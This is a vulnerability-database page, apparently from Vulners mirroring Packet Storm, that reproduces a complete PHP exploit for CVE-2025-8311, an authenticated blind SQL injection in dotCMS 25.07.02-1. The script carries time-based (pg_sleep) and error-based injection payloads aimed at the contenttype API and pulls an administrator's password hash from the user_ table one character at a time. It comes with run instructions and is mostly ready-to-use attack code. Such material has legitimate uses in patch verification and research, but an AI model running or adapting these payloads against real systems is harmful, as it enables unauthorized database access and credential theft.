Lucene search
K

๐Ÿ“„ dotCMS 25.07.02-1 SQL Injection

๐Ÿ—“๏ธย 09 Dec 2025ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 148ย Views

Authenticated blind time-based SQL injection on dotCMS to extract administrator password hashes.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-8311
4 Sep 202515:19
โ€“circl
CNNVD
DotCMS SQLๆณจๅ…ฅๆผๆดž
4 Sep 202500:00
โ€“cnnvd
CVE
CVE-2025-8311
4 Sep 202514:12
โ€“cve
Cvelist
CVE-2025-8311
4 Sep 202514:12
โ€“cvelist
Exploit DB
dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
16 Sep 202500:00
โ€“exploitdb
EUVD
EUVD-2025-27276
3 Oct 202520:07
โ€“euvd
NVD
CVE-2025-8311
4 Sep 202515:15
โ€“nvd
Packet Storm
๐Ÿ“„ dotCMS 25.07.02-1 SQL Injection
3 Nov 202500:00
โ€“packetstorm
Packet Storm
๐Ÿ“„ dotCMS 25.07.02-1 Security Scanner
15 Dec 202500:00
โ€“packetstorm
Positive Technologies
PT-2025-35943
4 Sep 202500:00
โ€“ptsecurity
Rows per page
=============================================================================================================================================
    | # Title     : dotCMS 25.07.02-1 Authenticated Blind SQL Injection (Time-Based)                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.dotcms.com/                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211125/ & 	CVE-2025-8311
    
    [+] Summary :  This PHP script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems. 
                   The exploit combines Time-Based Blind SQLi and Error-Based SQLi techniques to extract password hashes from the database, specifically targeting administrator accounts.
    	
    [+]  Usage :   * : Save as: exploit.php
                       Run    : php exploit.php
    	
    [+]  POC :	
      
    <?php
    /*
     PoC by Indoushka
     */
    
    //=========================//
    // USER CONFIGURATION      //
    //=========================//
    $HOST          = "127.0.0.1:8443";
    $TARGET_ACCOUNT = "[email protected]";
    $TOKEN         = "REPLACE_WITH_VALID_JWT";   // <= ุฃุฏุฎู„ ุชูˆูƒู† ุตุญูŠุญ
    $SLEEP_TIME    = 10;                         // seconds
    
    //=========================//
    // Helper Functions        //
    //=========================//
    
    function hexEncode($str){
        $out = "";
        for($i = 0; $i < strlen($str); $i++){
            $out .= sprintf("%%%02x", ord($str[$i]));
        }
        return $out;
    }
    
    function send_request($payload=""){
        global $HOST, $TOKEN;
    
        $payload = hexEncode($payload);
        $url = "https://{$HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{$payload}";
    
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => [
                "Accept: */*",
                "Authorization: Bearer {$TOKEN}",
                "User-Agent: Mozilla/5.0"
            ],
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 300
        ]);
    
        $start = microtime(true);
        $resp  = curl_exec($ch);
        $end   = microtime(true);
        $delay = $end - $start;
    
        curl_close($ch);
        return [$resp, $delay];
    }
    
    function send_sqli($q){
        $query = "') AND 1=(".$q.") AND ('A' LIKE 'A";
        return send_request($query);
    }
    
    function test_sqli(){
        global $SLEEP_TIME;
    
        echo "[!] Checking connection...\n";
        list($body, $delay) = send_request();
        if(strpos($body, '"pagination":{"currentPage":') === false){
            echo "[-] Unexpected response!\n";
            exit;
        }
        echo "[+] Connection OK.\n";
    
        echo "[!] Testing Time-Based SQL Injection...\n";
        list($body, $delay) = send_sqli("SELECT 1 FROM pg_sleep({$SLEEP_TIME})");
        if($delay < $SLEEP_TIME){
            echo "[-] Sleep test failed.\n";
            // ู„ุง ู†ุฎุฑุฌ ู…ู† ุงู„ุจุฑู†ุงู…ุฌุŒ ู‚ุฏ ู†ุฌุฑุจ ุทุฑูŠู‚ุฉ ุฃุฎุฑู‰
        } else {
            echo "[+] Time-Based SQLi confirmed.\n\n";
            return true;
        }
        
        echo "[!] Testing Error-Based SQL Injection...\n";
        $result = extract_error_test();
        if($result){
            echo "[+] Error-Based SQLi confirmed.\n\n";
            return true;
        }
        
        echo "[-] No SQL Injection vulnerability detected.\n";
        exit;
    }
    
    function extract_error_test(){
        global $TARGET_ACCOUNT;
    
        $payload = "') AND (SELECT cast((SELECT 'test' FROM user_ LIMIT 1) as int)) AND ('A'='A";
        list($resp, $delay) = send_request($payload);
    
        if(preg_match('/invalid input syntax for type integer: "(.*?)"/', $resp, $m)){
            return $m[1];
        }
        return false;
    }
    
    function extract_error_full(){
        global $TARGET_ACCOUNT;
    
        echo "[!] Attempting Error-Based extraction...\n";
        
        $payload = "') AND (SELECT cast((SELECT password_ FROM user_ WHERE emailaddress='{$TARGET_ACCOUNT}' LIMIT 1) as int)) AND ('A'='A";
    
        list($resp, $delay) = send_request($payload);
    
        // ุงู„ุงู„ุชู‚ุงุท ู…ู† ุฑุณุงู„ุฉ ุงู„ุฎุทุฃ
        if(preg_match('/invalid input syntax for type integer: "(.*?)"/', $resp, $m)){
            return $m[1];
        }
        
        // ู…ุญุงูˆู„ุฉ ู†ู…ุท ุขุฎุฑ ู„ุฑุณุงู„ุฉ ุงู„ุฎุทุฃ
        if(preg_match('/ERROR: (.*?) at character/', $resp, $m)){
            return $m[1];
        }
        
        return false;
    }
    
    function retrieve_data_time_based($template, $charset){
        global $SLEEP_TIME, $TARGET_ACCOUNT;
    
        $charset = ":" . str_replace(":","",$charset);
        $output = "";
        $index = 1;
    
        while(true){
            $found = false;
            foreach(str_split($charset) as $c){
                $q = str_replace(["[_INDEX_PLACEHOLDER_]","[_ASCII_PLACEHOLDER_]"],
                                 [$index, ord($c)],
                                 $template);
    
                list($body, $delay) = send_sqli($q);
    
                if($delay >= intval($SLEEP_TIME/2)){
                    echo "[+] Found char at position {$index}: {$c}\n";
                    $output .= $c;
                    $index++;
                    $found = true;
                    break;
                }
            }
            if(!$found){ break; }
        }
        return $output;
    }
    
    function retrieve_data_error_based($charset){
        global $TARGET_ACCOUNT;
        
        $charset = ":" . str_replace(":","",$charset);
        $output = "";
        $index = 1;
        
        while(true){
            $found = false;
            foreach(str_split($charset) as $c){
                // ุจู†ุงุก ุงุณุชุนู„ุงู… Error-Based
                $payload = "') AND (SELECT cast((SELECT substring(password_ from {$index} for 1) FROM user_ WHERE emailaddress='{$TARGET_ACCOUNT}' LIMIT 1) as int)) AND ('A'='A";
                
                list($resp, $delay) = send_request($payload);
                
                if(preg_match('/invalid input syntax for type integer: "('.$c.')"/', $resp, $m)){
                    echo "[+] Found char at position {$index}: {$c}\n";
                    $output .= $c;
                    $index++;
                    $found = true;
                    break;
                }
            }
            if(!$found){ break; }
        }
        return $output;
    }
    
    //=========================//
    // MAIN                    //
    //=========================//
    
    echo "========================================\n";
    echo "     DotCMS SQL Injection Exploit      \n";
    echo "     Combined Time & Error Based       \n";
    echo "========================================\n\n";
    
    // ุงุฎุชุจุงุฑ ูˆุฌูˆุฏ ุงู„ุซุบุฑุฉ
    if(!test_sqli()){
        exit;
    }
    
    // ู…ุญุงูˆู„ุฉ ุงู„ุงุณุชุฎุฑุงุฌ ุงู„ุณุฑูŠุน ุจุงุณุชุฎุฏุงู… Error-Based
    echo "[!] Trying Error-Based extraction first (faster)...\n";
    $hash_error = extract_error_full();
    
    if($hash_error){
        echo "\n[โœ“] SUCCESS: Hash extracted via Error-Based SQLi\n";
        echo "[+] HASH for {$TARGET_ACCOUNT}: {$hash_error}\n";
        
        // ุงู„ุชุญู‚ู‚ ู…ู† ุตุญุฉ ุงู„ู‡ุงุด (ุงุฎุชูŠุงุฑูŠ)
        if(strlen($hash_error) >= 32 && preg_match('/^[a-f0-9$.\/]+$/i', $hash_error)){
            echo "[โœ“] Hash appears valid (length: " . strlen($hash_error) . " chars)\n";
        }
    } else {
        echo "[-] Error-Based extraction failed, falling back to Time-Based...\n\n";
        
        // ุงุณุชุฎุฏุงู… ุงู„ุทุฑูŠู‚ุฉ ุงู„ุฒู…ู†ูŠุฉ ูƒุญู„ ุงุญุชูŠุงุทูŠ
        $template =
        "SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) ".
        "THEN (SELECT 1 FROM pg_sleep(".intval($SLEEP_TIME/2).") WHERE emailaddress = '{$TARGET_ACCOUNT}') ".
        "ELSE 1 END) FROM user_ WHERE emailaddress = '{$TARGET_ACCOUNT}'";
    
        $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./:";
        
        echo "[!] Starting Time-Based extraction (slower)...\n";
        echo "[!] This may take several minutes...\n";
        
        $pass = retrieve_data_time_based($template, $chars);
        
        if(!empty($pass)){
            echo "\n[โœ“] SUCCESS: Hash extracted via Time-Based SQLi\n";
            echo "[+] HASH for {$TARGET_ACCOUNT}: {$pass}\n";
        } else {
            echo "\n[-] FAILED: Could not extract hash using any method.\n";
            echo "    Possible reasons:\n";
            echo "    1. Account does not exist\n";
            echo "    2. Different database structure\n";
            echo "    3. Additional security measures\n";
        }
    }
    
    echo "\n========================================\n";
    echo "               END OF EXPLOIT           \n";
    echo "========================================\n";
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Dec 2025 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 49.4
EPSS0.01558
SSVC
148